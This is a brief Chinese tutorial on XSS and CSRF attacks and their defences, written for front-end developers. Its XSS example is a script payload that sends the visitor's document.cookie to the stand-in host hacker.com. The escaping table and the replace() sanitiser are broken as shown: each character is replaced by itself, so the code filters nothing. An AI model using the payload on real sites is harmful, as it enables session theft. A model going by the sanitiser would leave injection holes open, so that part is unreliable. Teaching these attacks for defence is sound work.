XSS 是 cross site scripting 跨站脚本攻击的缩写。为了区别于 css 就叫做xss
举例说明:
比如我们要渲染用户的评论
div.innerHTML = userComment;
//userComment是用户提交的评论内容,比如可以是:
<script>$.get('http://hacker.com?cookie='+document.cookie)</script>
//提交之后,恶意代码就会被执行。攻击者就会获取到用户cookie等敏感信息。
怎么预防XSS攻击呢?
1. 尽量不用 innerHTML,改用 innerText ,这样 script就会被当做文本
2. 如果非要用 innerHTML ,就需要对用户输入的字符进行过滤;
< 转换为 '<'
> 转换为 '>'
& 转换为 '&'
' 转换为 '''
" 转换为 '"'
代码 div.innerHTML = userComment.replace(/</g,'<').replace(/>/g,'>').replace......
CSRF (Cross Site Request Forgery)攻击,中文名:跨站请求伪造
我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息
而CSRF确实,借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。
CSRF一般的攻击过程是
- 攻击者向目标网站注入一个恶意的CSRF攻击URL地址(跨站url)
- 当(登录)用户访问某特定网页时,如果用户不小心点击了该URL,那么攻击就触发了
- 我们可以在该恶意的url对应的网页中,利用 <img src="" /> 来向目标网站发生一个get请求,该请求会携带cookie信息,所以也就借用了用户的身份,也就是伪造了一个请求
- 也可以使用javascript构造一个提交表单的post请求。比如构造一个转账的post请求。
所以CSRF的攻击分为了两步,
- 首先要注入恶意URL地址,然后在该地址中写入攻击代码
- 利用<img> 等标签或者使用Javascript脚本。
预防:
- referer 因为伪造的请求,一般是从第三方网站发起的,所以第一个预防方法就是判断 referer头,如果不是来自本网站的请求,就判定诶 csrf攻击。但是该方法只能防御跨站csrf攻击,不能防御同站的csrf攻击。
- 使用验证码 每一个重要的POST提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账就是使用手机验证码
- 使用token,每一个网页包含一个web server产生的token,提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定为csrf攻击,将敏感操作由get改为post,然后在表单中使用token,尽量使用post也有利于防御CSRF攻击